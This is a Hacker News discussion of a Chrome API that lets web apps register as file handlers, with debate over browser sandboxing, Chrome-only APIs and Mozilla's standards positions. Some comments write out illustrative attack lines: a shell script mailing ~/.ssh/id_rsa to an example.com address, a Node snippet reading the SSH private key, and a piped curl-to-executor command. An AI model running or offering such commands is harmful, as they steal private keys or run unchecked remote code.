[HN Gopher] Let web applications be file handlers
___________________________________________________________________
Let web applications be file handlers
Author : mukwevhom
Score : 167 points
Date : 2021-06-14 12:23 UTC (10 hours ago)
(HTM) web link (web.dev)
(TXT) w3m dump (web.dev)
| withinboredom wrote:
| So if I open a 2g file in a web app, I have to upload 2g?
| skybrian wrote:
| No, as I understand it the file is local and the JavaScript is
| also running locally in a browser sandbox. Also, the file is
| accessed in the usual way by opening it and reading from it.
| (There is a File System Access API that lets you get a
| FileSystemFileHandle and do random access.)
|
| You could write an uploader that sends the file over the
| network, or handle it entirely locally.
|
| It all seems to be Chrome only for now.
| haxiomic wrote:
| The file doesn't need to be uploaded for it to be edited within
| a web app - everything can be 100% local, including saving
| editor state (through local-storage).
|
| The only network access absolutely necessary is downloading the
| web app code initially but after first load it's possible for a
| web app to work offline
| yathern wrote:
| Nope. The file data is open within the browser context, and
| from there the app can decide what to do with it - which may
| entail uploading it, but doesn't need to be. The same way you
| can open a file in photopea.com without uploading it to their
| servers.
| nynx wrote:
| This is great. I'm a big fan of how powerful web applications are
| getting.
|
| Speaking of powerful web apps, I wonder if we'll see support for
| registering web apps as commands that can be run in a terminal.
| pjmlp wrote:
| With Chrome taking over the Web, ultimatly you will get
| ChromeOSification of the Web.
| zozbot234 wrote:
| curl https://URI_TO_WEB_APP | wasm-exec-webapp /dev/stdin
| moehm wrote:
| This sounds so incredible dangerous, OTOH there is no
| difference to curl | sh.
| nynx wrote:
| While `wasm-exec-webapp` isn't a real thing, if it's
| sandboxed as it would be, there'd be no difference,
| security wise, between that and going to a webpage in your
| browser
| mike_ivanov wrote:
| Remember ActiveX?
| Spivak wrote:
| I mean when you navigate to any website you're basically
| doing curl | v8 and trusting that the sandbox works.
| brnt wrote:
| I wish desktop browsers had domain handling. I'd like to open
| youtube links by default in Freetube, or somesuch. On my phone, I
| can configure this, on the desktop, I cannot.
| captn3m0 wrote:
| We're halfway there with the URL Protocol handler part in Web
| Application manifest specification (that currently only
| supports protocols, not websites).
|
| https://github.com/MicrosoftEdge/MSEdgeExplainers/blob/main/...
| [deleted]
| ubercow13 wrote:
| You could make every youtube page redirect to freetube with a
| userscript
| mankyd wrote:
| This is probably a bad security practice. When you click
| mybank.com, you don't want it silently redirecting to
| mybank.phishing.com.
|
| Links are explicit. You could always right up a trivial browser
| extension to do this on a case by case basis if you really
| desire.
| mqus wrote:
| I think what brnt means is that he wants some links to open
| in an entirely different app and not in a browser. I don't
| see how phishing is applicable in this case. In fact it may
| be a good measure against it since you quickly see that it
| does not open in your usual app
| mschuster91 wrote:
| > In fact it may be a good measure against it since you
| quickly see that it does not open in your usual app
|
| There's _nothing_ preventing a bad actor from copying the
| existing banking app and attaching a backdoor, assuming
| local code execution capability - either re-sign it with a
| local codesign certificate or use runtime code injection
| /linker overrides.
|
| A web app has always the URL bar and the banking site can
| rely on HSTS to prevent man-in-the-middle attacks.
| mqus wrote:
| > There's nothing preventing a bad actor from copying the
| existing banking app and attaching a backdoor
|
| Getting an app to a user is imho FAR more difficult than
| showing him a website. (Fake ones even more so)
|
| How easily would you click on a link if I would provide
| it here vs How easily would you install a new program if
| I provided you a link here?
| CobsterLock wrote:
| I think mankyd knew that. I'm thinking the exploit would be
| installing a bad app that enforces redirects for
| mybank.com, youbank.com, usabank.com, ukbank.com,
| allbanks.com to their malicious app. Then the app just
| knows how to pretend to be the login screen for all these
| apps and bam you get a whole ton of passwords. The key
| thing would be for the app not to show the url of their
| malicious site.
| danShumway wrote:
| Phones already do this though, don't they? I think
| Android at least allows redirecting links to apps, and
| I'm pretty sure Mac does as well.
|
| Is there a bigger threat model people are worried about
| with extending the app schema to include normal URLs as
| well? Or do you just think the problem would be worse if
| the scope was broader?
|
| Trying to figure out where people are drawing the line on
| this.
| ivanmontillam wrote:
| Yes, but phones do have curated mobile app stores. Not
| the case with desktop computers, so it's dangerous.
| danShumway wrote:
| Hrm. Mac computers allow this with Slack. The installed
| version can intercept links to messages in the browser
| and open them in the app instead of the website. So I
| don't think it's just phones doing this today.
|
| And I guess Slack is signed on Mac via Gatekeeper, but
| it's not distributed through an app store.
|
| I don't run Windows and I won't install Slack natively on
| my Linux boxes, so I can't check the other platforms. But
| I would be a little surprised if the same doesn't work on
| them. This is basically how mailto links work today,
| right?
|
| See https://developer.mozilla.org/en-
| US/docs/Web/API/Navigator/r...
| notriddle wrote:
| > Hrm. Mac computers allow this with Slack.
|
| On Linux, Slack installs a custom protocol handler, and
| includes a hidden iframe with the
| slack://RANDOMSTRING/magic-login/LONGRANDOMSTRING URL. I
| assume it's the same on Mac.
| ivanmontillam wrote:
| In this case mailto:// doesn't try to impersonate any
| app, but if it were to be done (for example) "skype://" I
| could install another app that overrides the current app
| protocol, and mislead the user and catch privileged data
| intended for the original app.
|
| But of course, technically it's the exact same thing,
| it's just a layer above. So you have a point.
| machello13 wrote:
| On iOS and macOS (I can't speak to Android but I'm fairly
| sure it's a similar mechanism), you're required to prove
| that a domain and app are linked before allowing URLs to
| open in your app. You do this by hosting a JSON file on
| your website that points to your app and specifies which
| kind of URLs should be redirected. E.g. see
| https://apple.com/.well-known/apple-app-site-association
| for how Apple.com does it.
|
| This prevents malicious third-parties from opening
| bank.com in their own app, but of course it also prevents
| useful things like using a custom YouTube app.
| austincheney wrote:
| I am currently performing file handling in my personal app cross
| browser. I have some limitations though in that my approach sends
| a signal to a node app that tells the OS to execute the file
| according to the default app for that file type. I could allow
| users to determine what files to associate with what applications
| but I have not written that.
| cbm-vic-20 wrote:
| First, we had centralized time-sharing systems, which gave way to
| decentralized applications running on PCs. Back to centralization
| with early web applications, and now back to decentralized apps
| running in the browser.
| tazjin wrote:
| > and now back to decentralized apps running in the browser
|
| I think it's now both, because things won't work correctly if
| you're offline for the most part. Tarpit diving.
| ozim wrote:
| What is the point of this thought process?
|
| centralized time-sharing -> decentralized applications ->
| centralization with web applications (or cloud)
|
| Like next model would be coming from previous one or somehow
| created by some architect and like one or the other would be
| superior.
|
| There is no such causal relationship, each model was or is best
| for its time and technical possibilities. If it would be
| possible to have decentralized applications running on PCs in
| 1950 people would do that right away.
|
| Centralized time-sharing systems were necessity because
| computers were freaking huge and slow, remember that people did
| not have network connection to mainframe, they had terminals
| that were scarce and rather close to huge boxes that were
| mainframes.
|
| Decentralized applications running on PCs were necessity
| because we there was no ubiquitous networking in the 80's-90's,
| while computers got small enough that basically everyone could
| have computing possibilities at his desk, not just dumb
| terminal. There were still quite some mainframes around because
| they were more convenient for huge calculations than whatever
| was possible on the desktop.
|
| Nowadays or since 2000's we have really capable machines on
| desktop and internet started to grow to enable centralization
| that people want. Not like centralization that was necessity. I
| can do my calculations or a lot of work done on my desktop but
| I can easily share that work with someone on the other side of
| globe and thanks to centralization I don't have to wake him up
| but he can check his email when he finishes his morning coffee.
|
| So it is not back or forth, those are totally different modes
| of computing enabled by different possibilities that we have
| because of technology changes.
| api wrote:
| Web apps are centralized. They almost never work without a
| constant link to the server. The browser is basically the 21st
| century equivalent of the VT terminal.
|
| We are in what I call the mainframe 2.0 era.
| ozim wrote:
| People don't understand decentralization and I think that
| people don't want decentralization.
|
| Just look at GIT its killer feature is decentralization, bad
| luck because Linus Torvalds and bunch of kernel developers
| are using it in such way. Rest of the world is using
| Github\Gitlab making their own centralized repositories.
| tyingq wrote:
| It does have a sort of trojan-horse feel to it, since prior
| attempts to lock down desktops in the same way as iOS didn't
| work out well.
| ridiculous_fish wrote:
| _The File object returned by FileSystemFileHandle.getFile() is
| only readable as long as the underlying file on disk hasn 't
| changed. If the file on disk is modified, the File object becomes
| unreadable and you'll need to call getFile() again to get a new
| File object to read the changed data._
|
| This seems very strange. Since when does a File stop being
| readable when it is modified? What does "modified" mean here
| anyways? Can anyone shed some light on this?
| thepete2 wrote:
| This is speculation, but it could be a consequence of not
| wanting to lock the entire file. Where a normal application
| could place locks on segments of a file, a web app perhaps
| can't do this through this api.
|
| Hence you have the choice between aborting on write and
| possible "garbage files" (i.e. partly overwritten) if you keep
| reading.
| outloudvi wrote:
| It's actually Chrome-style embrace-extend-extinguish.
|
| https://en.wikipedia.org/wiki/Embrace%2C_extend%2C_and_extin...
| junon wrote:
| Hilarious that Microsoft is clearly attempting to do this exact
| thing to the Wikipedia article describing them doing it.
|
| https://en.wikipedia.org/w/index.php?title=Embrace%2C_extend...
| xaduha wrote:
| Thought it was already possible since PDF files can be opened by
| modern browsers just fine. But recently tried making Google
| Sheets open XLS files via some 3rd party plugin, no luck.
|
| Surprised Google didn't whip out something proprietary, since
| Google Docs was added 15 years ago, way before official drag and
| drop support too. Didn't Google Desktop allow that at some point?
| twobitshifter wrote:
| I'm surprised too - chromeos must have file handling right?
| skybrian wrote:
| It was previously handled via (Chrome-only) extension apis
| [1].
|
| But that is deprecated in favor of regular web apps having
| access via a regular browser API. There is potential for it
| to become a web standard, if other browsers go along. It's
| too early to tell.
|
| Extensions are less secure. As we've seen they have too many
| permissions and ownership can be transferred. They were also
| inherently Chrome-only, though there seem to be some efforts
| to standardize api's these days.
|
| But if this new api goes through, it opens an interesting
| security... situation where the ownership of a _web app_ gets
| transferred and it automatically updates, so now opening a
| file does something else.
|
| This is true of automatic updates in general. Automatic
| updates are the cause of and solution to many problems.
|
| [1] https://developer.chrome.com/docs/extensions/reference/fi
| leS...
| hoten wrote:
| Browsers themselves configure the open-PDF feature with the OS,
| and this is different from a website declaring "I can open .xxx
| files". You can't make a webapp that opens PDFs in your custom
| site-it opens in an internal-to-the-browser page.
| k__ wrote:
| Cool.
|
| I like how the web gets native features, but unlike (non-mobile)
| native apps before, emphasizes security.
| superkuh wrote:
| Web "applications" better have security in mind. For the end
| user running arbitrary JS with even more bare metal abilities
| it is just about as crazy as executing every attachment you
| receive in email.
| geofft wrote:
| Very much not so?
|
| Here's an email attachment that compromises your SSH private
| key: #!/bin/sh mail
| geofft@example.com < ~/.ssh/id_rsa
|
| (With obvious changes for other OSes, but that's roughly the
| complexity of it, everywhere.)
|
| Can you provide an example of "arbitrary JS with even more
| bare metal abilities" that can do the same thing? I'll even
| visit your website, with JavaScript enabled, on my laptop
| with a private key that can access GitHub.
| [deleted]
| superkuh wrote:
| Here's a web app that compromises your SSH private key: use
| the discord client in chromium.
|
| Their electron client is literally a remote administration
| toolkit, it has full access to FS (electron app) and it
| loads every script from their servers. On launch the
| desktop client opens websocket server for command and
| control listening.
|
| They can just add something like
| require('fs').readFileSync(process.env.HOME +
| '/.ssh/id_rsa').toString() and send this to their servers,
| and you won't even notice that (since it doesn't require an
| update on client because the client is just a browser with
| full permissions that loads obfuscated code from their
| servers every time you launch it).
| danShumway wrote:
| Electron is basically a framework for native apps,
| they're only "web" apps in architecture and language
| choice. They have all of the same permissions as native
| apps and basically zero sandboxing. They're frequently
| extended using low-level code. They can call out to
| system libraries.
|
| For the scope of the current conversation, Electron apps
| can _already_ be file handlers on every single desktop
| platform, so we 're pretty clearly not talking about
| Electron when we critique these new web standards.
| Electron doesn't care about your opinion of web standards
| or what is or isn't getting fast-tracked in Chrome,
| Electron can already do whatever it wants.
|
| That's not to say that Electron's lack of sandboxing
| isn't a problem, it absolutely is. But it's just not
| really relevant to what we're talking about right now,
| and it's a problem that almost every native app platform
| shares with Electron.
|
| One of the goals with introducing newer "riskier"
| standards on the web is to get an application platform
| that does have sandboxing -- it's to be able to use
| Electron and other unsandboxed apps for fewer things.
| Whether that's a _good_ goal I 'm not going to comment
| on; different people have different opinions on the
| direction of the web as an app platform and whether it's
| smart for Google to be breaking all these holes in an
| otherwise decent sandbox. But regardless, Electron is not
| the web.
| tylerhou wrote:
| The Discord _native_ client is not a web app. Any
| application you download can exfiltrate your private key.
| It 's statically linked to Chromium (through Electron),
| but it's running native code.
| michael-ax wrote:
| >the discord client in chromium.
|
| running in-browser is not the same as installing their
| electron client.
| geofft wrote:
| Not sure I follow. The following certainly does not work:
|
| 1. Install Chromium from https://www.chromium.org/
|
| 2. Go to https://discord.com/ and click "Open Discord in
| your browser"
|
| 3. Discord can read files from ~/.ssh
|
| You mention "Electron," but Electron is a local
| application. So it doesn't satisfy my request, which is
| that I want you to steal my SSH private key when I visit
| a website in a web browser.
| [deleted]
| kushan2020 wrote:
| I see a bunch of comments here showing their disdain towards
| chrome adding more liberal file system access.
|
| As a web developer this is actually a positive move as it gives
| us the ability to make really powerful apps for the web without
| having to resort to wasting time in apple's walled garden.
|
| Yes, Firefox [1] thinks this is dangerous, but the points they
| have put forward are half baked at best. This API is no worse
| than some of the existing APIs implemented by every browser and
| contrary to what the name might suggest, does not degrade a
| user's privacy or security.
|
| [1] https://github.com/mozilla/standards-positions/issues/154
| criddell wrote:
| > This API is no worse than some of the existing APIs
| implemented by every browser
|
| That's not a terribly strong argument.
|
| > does not degrade a users privacy or security
|
| With proper sandboxing, I think it could be safe. Without that,
| then I think it's a disaster. Any time a message saying "Allow
| access to XXX?" most people click yes just to clear the dialog.
| kushan2020 wrote:
| > Any time a message saying "Allow access to XXX?" most
| people click yes just to clear the dialog.
|
| Talking about this specific API, when a user blindly clicks
| yes, they are then showed a file picker. This file picker
| interface exists in every browser and I am not aware of users
| blindly picking a file and uploading it without realizing
| what they did.
|
| This brings me back to my point that this user interface
| already exists in every browser, the only difference is that
| this new API allows to write back to the same location.
| jeroenhd wrote:
| > without having to resort to wasting time in apple's walled
| garden
|
| What makes you think Safari will implement this? Like many
| features Google announces, this will be a Chromium-only feature
| for ages.
|
| Mac users running Chrome or Edge may be valid end users for
| this API, but Safari and iOS users won't benefit from this if
| it would permit developers to skip Apple's walled garden. Apple
| doesn't want competitors to their app store laying all the
| golden apps. Safari still doesn't properly support
| notifications, after all, and it's not because Apple can't
| think of a way of implementing them.
| corobo wrote:
| > As a web developer this is actually a positive move as it
| gives us the ability to make really powerful apps for the web
| without having to resort to wasting time in apple's walled
| garden.
|
| As an ad agency this is actually a positive move as it gives us
| the ability to make really powerful apps for the web without
| having to resort to wasting time in apple's walled garden.
|
| This is going to be used for tracking so fast haha
| kushan2020 wrote:
| I am very curious to hear how you imagine this can be used
| for tracking.
| Santosh83 wrote:
| Firefox cannot meaningfully stand up to Chrome's dominance with
| ~5% market share and dev layoffs. The iDevices and their locked
| in Webkit engine is all that forces Google to at least propose
| web standard drafts and keep up even the appearance of
| interoperability.
| dfabulich wrote:
| Firefox is at ~3% market share now. Mozilla lost a full point
| over the last year. https://gs.statcounter.com/browser-market-
| share
| mdoms wrote:
| Mozilla making a big song and dance out of resolving 14 year
| old issues like non-native context menus really rubbed me the
| wrong way and I uninstalled Firefox.
| hypertele-Xii wrote:
| Surely changing how tabs look in the latest update must be
| gaining Mozilla mad points by now. \s
| jjice wrote:
| As a Firefox user, I'm not completely surprised. There are
| multiple video call applications I tried to use that didn't
| work on Firefox (on Linux at least). I personally have Chrome
| installed for the sole purpose of resolving those situations
| and go right back to FF. I'm scared though for FireFox,
| because they aren't doing too hot. I don't want a Google
| dominated web. Having the only two real web competitors be
| Apple and Google is a terrifying idea. Hell, it doesn't event
| have to be FireFox, I just want some more competition, but
| browsers are so complex at this point that I don't think we
| can ever get to that point.
| jeremija wrote:
| I hear you, I've been working on peercalls.com, a video
| conferencing app, for the past few years and it works on
| all major browsers and platforms, including Firefox.
|
| That said, I'm bummed out that E2EE using insertable
| streams / SFrame transform is only currently supported in
| Chrome.
|
| I've also noticed that very few devs in the WebRTC
| community actually test stuff in Firefox.
| [deleted]
| al2o3cr wrote:
| Oh great, another API that dodgy sites will try to trick users
| into giving access to (see also every "do you want notifications
| from this site?" popup)
| vbezhenar wrote:
| First thing I do with my Chrome is opening Settings/Site
| Settigs, Additional Permissions and blocking almost everything
| in this list. There's surprising number of APIs that I'll never
| need (MIDI devices? I have no idea what MIDI device is and I
| definitely don't own one. Payment handlers? I'm using cash,
| thanks. Augmented reality? I'm fine with ordinary one,
| thanks.).
| lucis wrote:
| MIDI devices mostly refer to musical controllers. With it,
| you can plug a controller and play piano on
| https://pianu.com, for example. I use it sometimes.
| est wrote:
| Is it too late to push the idea of "files" in today's mobile
| Internet world? I mean most web content are locked in walled
| gardens they are not copypastable nor tranferable. Not even
| editable in a "file" way.
| fsflover wrote:
| Consider GNU/Linux phones for that.
| [deleted]
| worble wrote:
| This is kind of meta, but what exactly is this site? Roaming
| around, it appears to be a bunch of blog posts written by the
| Chromium/Google team (except for one article I found which was
| written by a developer for The Telegraph). It's not exactly
| _hiding_ it 's association, I mean it's right there in the
| footer, but why isn't this under some kind of chromium or google
| url so the association is immediately obvious, or at least
| mentioned in the About page?
|
| At the risk of sounding conspiratorial, it feels like they're
| trying to hide in plain sight, pushing Chrome only features while
| constantly just saying "mordern web", and while they pay passing
| mention that the API is "currently in development" it doesn't add
| the fact it is not standardised, and it likely won't be coming to
| Firefox at all, as they consider it harmful:
| https://github.com/mozilla/standards-positions/issues/154#is...
| [deleted]
| skybrian wrote:
| The question is what Google should do if they need a new web
| API badly enough to implement it.
|
| Making it clear that it's Chrome only (for now) would be good
| and they should do that more prominently. Making it possible
| for other browsers to implement by designing it with
| standardization in mind also seems good? (Unlike the situation
| with web extensions.) Lock-in is bad, Chrome-only websites are
| bad, so they should be trying to standardize things and avoid
| using it as a point of differentiation between browsers.
|
| Not speaking for other browser vendors is also good. Like, it's
| all very well for us to say that Firefox seems unlikely to pick
| it up, but someone on the Chrome team should _definitely not
| say that_ , because it jinxes the effort and Firefox might
| change their minds if web developers seem to want it. (The
| comment you link to raises security concerns but I don't think
| they claim to be giving the final word about Firefox's
| position.)
|
| So we see the state of standardization a bit hidden behind
| euphemisms like saying that there are "no signals" from other
| browsers yet.
|
| There's also the danger of having early articles become out of
| date by claiming that things are Chrome-only when actually the
| situation has changed and the person writing the article
| doesn't know about it, so there is a tendency to avoid saying
| too much.
|
| The underlying assumption is that web standards evolve by
| browser vendors starting to implement things ahead of getting
| consensus. Implementation and documentation start ahead of the
| standardization effort, which goes on in parallel.
|
| (And underlying that assumption is the notion that rapid
| adoption of more powerful web api's is desirable and
| "stagnation" is bad. Safari gets a lot of grief for being too
| slow, while Chrome gets grief for being too fast.)
| ocdtrekkie wrote:
| > Safari gets a lot of grief for being too slow
|
| Literally mostly from Google employees just mad their pet
| project doesn't work on iOS. I, and plenty of others,
| appreciate the position Safari (and sometimes Firefox) holds
| in only supporting web APIs that provide value greater than
| the security and privacy risks they introduce.
|
| Google's busy trying to invent ways for websites to tamper
| with your USB devices, and it hasn't even managed to deal
| with how much malware it distributes through it's extension
| store alone, much less through it's ad platform and misuse of
| the notifications API.
| skybrian wrote:
| You might be a little biased if you think Google is trying
| to tamper with your USB devices.
|
| You're also trying to put _yourself_ in a position of
| speaking for other developers, which is something we should
| avoid. How do we know what most developers want?
| ocdtrekkie wrote:
| > You might be a little biased if you think Google is
| trying to tamper with your USB devices.
|
| That is not what I said. I said they are trying to let
| websites tamper with your USB devices. Aka, they
| introduced WebUSB, yet another mostly-useless browser
| feature that exposes a large attack area to the web which
| I need to block by policy, that was probably solely
| introduced so they could release
| https://flash.android.com/ which very few people need or
| use, and could just as well be a desktop app.
| skybrian wrote:
| It does create some interesting security implications
| that I hope get addressed properly. But I think you are
| not seeing its potential.
|
| As someone who dabbles with Arduino I actually do want
| USB support. I don't particularly like installing
| everything but the kitchen sink on my desktop via
| homebrew just to get a decent development environment
| going. (Last time I tried it, the Python install failed
| because homebrew doesn't support the OS version I'm
| running. I really dislike homebrew.)
|
| Running embedded development in a browser and just giving
| access to a certain USB device would be an improvement,
| letting you do it on any machine or even a Chromebook.
| It's going to take a long time to get there but I can see
| it being useful someday.
| dmitriid wrote:
| > It does create some interesting security implications
| that I hope get addressed properly.
|
| They won't. Both Mozilla and Safari pointed out the
| security issues and refused to implement WebUSB (along
| with a host of other APIs) as specified.
|
| Google said: we don't care, it's now enabled by default
| in Chrome.
|
| https://webapicontroversy.com
| ocdtrekkie wrote:
| > As someone who dabbles with Arduino
|
| And you've just picked another extreme niche, like
| flashing Android ROMs.
|
| Here's the problem with things like WebUSB that Google
| injects into Chrome: It's going out to over a billion
| users, including seniors, enterprise environments, and
| the technologically inept. And it introduces security
| risks. Why would anyone launch WebUSB out to, say, my
| grandma, just because maybe 100,000 people in the world
| might use features that require websites directly talk to
| a USB device?
|
| Ironically, I could tell you how Google could fix this
| right now, but I'm confident they won't do it because
| it's not Googley enough: Leave it and a dozen similarly
| obscure web features permanently disabled by default
| behind an about:config flag. Google is obsessed with
| making things "just work", so they enable everything,
| even though something like WebUSB will only ever be used
| by people who are doing something sophisticated enough
| that flipping an about:config flag is in their
| wheelhouse.
|
| As an IT admin, what's really frustrating is having to
| edit group policy every month to disable each and every
| new security hole and pop-up call-to-action feature
| browsers introduced that month. (Google is not alone in
| this, Firefox is guilty too to some extent, and Edge
| clones all of Google's bad ideas, of course.)
|
| And for people at home, the thing is, non-technical users
| approve everything. They hit that accept button on every
| bloody prompt they get. And I know this because I spent a
| lot of time cleaning out the Privacy permissions tab on
| people's browsers when they have problems. "Why are three
| porn sites able to send desktop notifications on this
| browser?" Who the heck knows?
|
| Just to make it easier for you to play with an Arduino,
| everyone else shouldn't have to play whack-a-mole with
| "features" silently injected into their browser via
| evergreen updates.
| skybrian wrote:
| I agree that some things should be hidden in "developer
| mode" (as it's called on Android). That might work for
| Arduino.
|
| But the audience for WebUSB might grow. Many consumer
| electronic devices have companion desktop apps to
| configure them. Wouldn't it be nice if we didn't have to
| write them multiple times, and you could use the same
| software to configure them on Linux or a Chromebook as
| well?
|
| You're claiming that Google just wants this for flashing
| Android but how do you know? Maybe they're thinking
| bigger.
| ocdtrekkie wrote:
| It's possible that's what Google wants, but it's also a
| terrible idea. Browsers should be reducing their attack
| surface, not increasing it.
|
| If I was to characterize most of my issues with the
| Chrome team, it'd be that they need to stay in their own
| lane. They've injected a botched antivirus app into their
| releases before, DoH basically sidesteps the OS'
| networking stack because it was inconvenient for them
| they couldn't change it, etc.
|
| At what point can we tell the Chrome team to stop feature
| creeping and just try to make their web browser waste
| less RAM?
| skybrian wrote:
| I disagree that it's a terrible idea, particularly if the
| alternative is Wifi-enabled devices from dodgy vendors.
|
| It would be useful to have devices that don't talk to the
| network at all unless I plug them in and open a
| particular web app.
| ocdtrekkie wrote:
| The answer there would be desktop apps, though, not
| introducing a massive new hole in browser sandboxing. And
| it's also a dream of something unlikely to return, I
| think my Vive is the last product I've seen have wireless
| devices you plug into a desktop to update, and it's kinda
| a pain in the rear.
| EMM_386 wrote:
| > At the risk of sounding conspiratorial, it feels like they're
| trying to hide in plain sight, pushing Chrome only features
|
| I don't think that's too conspiratorial, I think that's exactly
| what is going on here.
| amarshall wrote:
| Yup, Google using its powerful position to make it seem like
| the generic owner of things when it is not. See also the
| sites: doc.new, docs.new, document.new, sheet.new,
| sheets.new, spreadsheet.new, slide.new, slides.new, deck.new,
| presentation.new, form.new, forms.new, site.new, sites.new,
| website.new, and probably others.
| judge2020 wrote:
| https://whats.new/shortcuts/
|
| A bunch of other sites have also 'claimed' some .new
| domains, like vue.new goes to codesandbox.io and api.new to
| RunKit.
| ocdtrekkie wrote:
| Sure, but since Google owns .new, they had first dibs on
| grabbing every generic document type they could possibly
| want. Sure, Microsoft can grab word.new, but doc.new is
| Google's regardless of what you use to write documents.
| amarshall wrote:
| Likewise, Google owns .dev.
| dfabulich wrote:
| That link you posted is referring to a completely different
| API, the File System Access API. There are a bunch of different
| APIs with extremely similar names in this space, with very
| different levels of browser support.
|
| 1. FileSystem API: (Note that this is one word, "FileSystem.")
| This deprecated API simulates a local file system that web apps
| can navigate around. With this API, you can develop apps that
| can read, write, and create files and directories in a
| sandboxed, virtual file system, but you can't use it to access
| files in the user's Documents folder.
|
| You can polyfill this API, and IMO it's not very useful. It's
| typically backed by actual files, but there's no expectation
| that users will directly access that folder.
|
| https://caniuse.com/filesystem https://caniuse.com/mdn-
| api_filesystem
|
| 2. File System Access API (formerly known as Native File System
| API and prior to that it was called Writeable Files API): This
| API lets webapps launch a picker to select a file or folder;
| from then on, the webapp can write to that file/folder without
| prompting the user (until you close the tab).
|
| Without this API, if your webapp has a file you'd like to
| write, all you can do is let the user download it. Downloaded
| files always either automagically appear in the Downloads
| folder (and do not permit overwriting existing files; identical
| names get autorenamed), or they launch a picker, which nags the
| user with "Are you sure your want to replace this file?"
|
| The FSA API cannot be polyfilled, and it's impossible-ish to
| implement a good web-based text editor without it. (Imagine if
| your favorite editor could only generate new files and never
| overwrite old ones, or if it nagged you "are you sure?" every
| time you tried to save your changes.)
|
| That's the API you linked to above. There, a guy says he thinks
| it should be harmful, but that's not the standards position
| that Mozilla actually adopted. They currently mark it as
| "defer" (though they may decide to come around and mark it
| "harmful") https://mozilla.github.io/standards-
| positions/#native-file-s...
|
| https://caniuse.com/native-filesystem-api
|
| 3. File Handling API: This is what TFA is about. It allows your
| webapp to say "I handle .txt files; when someone double clicks
| on a .txt file, open it in my webapp."
|
| Mozilla lists this API as "defer" as well.
| https://mozilla.github.io/standards-positions/#wicg-file-han...
|
| https://github.com/mozilla/standards-positions/issues/158 is
| where they discussed that. (Note this is issue 158, as opposed
| to issue 154 in your link.) I agree with Mozilla that it makes
| no sense to implement the File Handling API without the File
| System Access API.
| kevingadd wrote:
| You're not being conspiratorial at all. At some point in the
| last decade the Chrome organization decided that they would
| pull their own version of classic IE where between
| WebExtensions/Chrome Apps (their own conveniently proprietary
| "web" standards... at least they killed chrome apps) and
| massive piles of half-assed bespoke APIs that no competitor can
| afford to implement, they would ensure that Blink was the only
| "web" capable of running lots of new software.
|
| While it wasn't the first example of this, I think Web Audio
| set the standard for this pattern - individual Chrome
| contributors making their best effort to design and implement a
| cool API, but then the org's scheduling and priorities result
| in it shipping before it's remotely ready and before other
| browser vendors have meaningfully contributed to the process.
| This early ship date combined with Google's market power
| results in applications building on top of these immature APIs,
| which means that other vendors have no choice but to implement
| and ship absolute garbage.
|
| Web Audio is a great example because they kicked that steaming
| pile out the door in order to enable (Chrome-only, naturally)
| web ports of things like Angry Birds, even though in practice
| that API was barely usable for anything and had all sorts of
| undesirable characteristics that still aren't completely fixed
| nearly a decade later. At the time Mozilla was working on a
| design and implementation for an API that was actually good,
| but Google's unilateral move killed any chance of a good
| solution being shipped by multiple vendors.
|
| Other Chrome-only APIs have been similar stories, though at
| least Native Client/Pepper - probably the worst example -
| failed because the doomed design and implementation made it
| impossible for it to even hit their own production targets and
| drove app developers (like Unity) away.
|
| In some cases you can meaningfully argue that other vendors are
| just dragging their feet - Safari being the main example, where
| they simply have been years late to ship useful things that
| both FF and Chrome had - but in practice nobody else has the
| massive development resources Google has to waste on dead-end
| trash APIs and nobody wants to pay the cost of implementing
| something they'll have to throw out a year later with the
| knowledge that websites won't support their browser anyway.
|
| The meaningful security/privacy concerns Apple and Mozilla use
| to reject new Google APIs are also a good example, because
| Google has the resources to just address these security issues
| via brute force. They can unilaterally deprecate an existing
| API and break tons of websites (Web Audio, video, etc) or just
| ship something busted and rapidly rework it to try and paper
| over the consequences (WebMidi etc being used for
| fingerprinting...)
|
| In my time working on the nacl (then WebAssembly) team it
| became clear to me that most of the devs there weren't acting
| on malicious motives, the overall structure and priorities of
| Google as a whole just produced bad outcomes. Sadly with their
| de-facto monopoly there's no pressures to fix that.
| skybrian wrote:
| I think you're discounting that everything Chrome does these
| days is designed to become a web standard, unlike IE which
| was trying to have browser-only features for lock-in.
|
| Chrome does seem to be somewhat hasty, which can have a
| similar effect in practice. But it might seem different if
| you actually want a feature and don't want to wait years for
| it?
|
| I don't think Web Audio is as bad as you say. There is the
| ScriptProcessorNode which is getting deprecated in favor of
| audio worklets because having JavaScript processing audio on
| the foreground thread is a bad idea. But other than that, it
| seems nice for making simple audio processing graphs, and the
| infrastructure for putting JavaScript in the background took
| a while to work out.
| dmitriid wrote:
| > I think you're discounting that everything Chrome does
| these days is designed to become a web standard
|
| Indeed. It's rarely designed to be a web standard. However,
| Chrome rams that through standards body, calls that a
| standard and enables it by default in Chrome.
|
| Just look at WebHID. Firefox devs couldn't even understand
| the spec [1], it was so Chrome-specific. Guess what, it's
| enabled by default in Chrome [2] and Chrome says that it's
| a standard now [3]. Most of those non-standards are not
| even out of the "draft" stage of the standards process,
| with both Safari and Firefox objecting to many, many,
| _many_ things in the specs.
|
| Google. doesn't. care.
|
| [1] https://github.com/mozilla/standards-
| positions/issues/459#is...
|
| [2] https://webapicontroversy.com
|
| [3] https://web.dev/hid/
| skybrian wrote:
| The comment in [1] is from January and the spec is dated
| March, so perhaps they saw an early draft? I only took a
| quick glance, but it seems fairly readable now. It would
| be nice to be able to connect game controllers to web
| pages.
|
| The fact that they tried and failed (if they did fail;
| maybe they will succeed eventually?) shows that they
| cared at least a little about standardization, even if it
| was somewhat half-hearted.
|
| When negotiations fail, it's not a given that one side is
| entirely at fault.
| kevingadd wrote:
| Just look at how many revisions the W3 spec has had. It had
| even more churn that wasn't visible there... IIRC it
| originally shipped with synchronous audio decoding on the
| main thread for some reason. Chrome has also shipped
| multiple p0/p1 level bugs in Web Audio that users had to
| wait weeks or months for fixes to, like a while back when
| they introduced a priority inversion while rewriting their
| whole mixer so audio was just completely broken for a
| double-digit % of their userbase.
|
| They also treated basic use cases like 'pause a piece of
| playing audio' as out of scope, which is simply bizarre.
|
| Every web app or port I've ever touched had issues caused
| by the poor design and quality of the API.
| skybrian wrote:
| Okay, as someone who just used it for a few demo
| projects, I didn't push it very hard. Thanks for
| explaining in more detail.
| machello13 wrote:
| > it likely won't be coming to Firefox at all, as they consider
| it harmful
|
| Yikes. The original article should have definitely mentioned
| this, if it were not just a Google mouthpiece.
| JohnWhigham wrote:
| Google doesn't give a shit about open web standard standards,
| rather they want to push their standards onto the open web.
|
| The entire website should be treated with extreme suspicion.
| It's all the more insidious given the URL.
